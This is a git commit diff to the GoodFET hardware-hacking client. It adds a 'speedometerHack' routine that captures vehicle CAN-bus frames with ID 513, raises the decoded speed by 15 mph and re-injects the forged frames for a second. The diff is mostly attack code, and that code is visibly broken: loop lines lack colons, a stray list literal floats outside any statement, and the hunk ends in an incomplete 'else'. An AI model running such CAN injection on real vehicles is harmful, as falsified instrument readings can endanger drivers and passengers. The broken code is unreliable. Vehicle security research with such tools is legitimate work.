From: chrishoder Date: Sat, 23 Feb 2013 17:40:12 +0000 (+0000) Subject: added speedometer hack to MCPCANCommunication X-Git-Url: http://git.rot13.org/?p=goodfet;a=commitdiff_plain;h=43332cc6776477527a26cb6c6c67879e8bfb5659 added speedometer hack to MCPCANCommunication git-svn-id: https://svn.code.sf.net/p/goodfet/code/trunk@1523 12e2690d-a6be-4b82-a7b7-67c4a43b65c8 --- diff --git a/client/GoodFETMCPCANCommunication.py b/client/GoodFETMCPCANCommunication.py index ef37869..4dce2de 100644 --- a/client/GoodFETMCPCANCommunication.py +++ b/client/GoodFETMCPCANCommunication.py @@ -38,7 +38,7 @@ class GoodFETMCPCANCommunication: def printInfo(self): """ This method will print information about the board to the terminal. - It is good for diagnostics + It is good for diagnostics. """ self.client.MCPreqstatConfiguration(); @@ -828,6 +828,57 @@ class GoodFETMCPCANCommunication: packet.append(row[i]) print packet self.client.txpacket(packet) + + + def speedometerHack(self): + + self.client.serInit() + self.spitSetup(500) + + self.addFilter([513, 513, 513]) + + SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5 + SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0 + + while(1): + + packet = None; + + # catch a packet and check its db4 value + while (packet == None) + packet=self.client.rxpacket(); + + print "DB4 = %d" %packet[9] + mph = 1.617*packet[9] - 63.5 + print "Current MPH = 1.617(%d)-63.5 = %d" %(packet[9], mph) + + # calculate our new mph and db4 value + mph = mph + 15; + packet[9] = ( mph + 63.5 ) / 1.617 + + # load new packet into TXB0 and check time + self.multiPacketSpit(packet0=packet, packet0rts=True) + starttime = time.time() + + # spit new value for 1 second + while (time.time()-starttime < 1) + self.multiPacketSpit(packet0rts=True) + + + +[SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs + 0x08, # bit 6 must be set to 0 for data frame (1 for RTR) + # lower nibble is DLC + packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]] + + + while((time.time()-starttime < duration)): + + if(faster): + packet=self.client.fastrxpacket(); + else: + +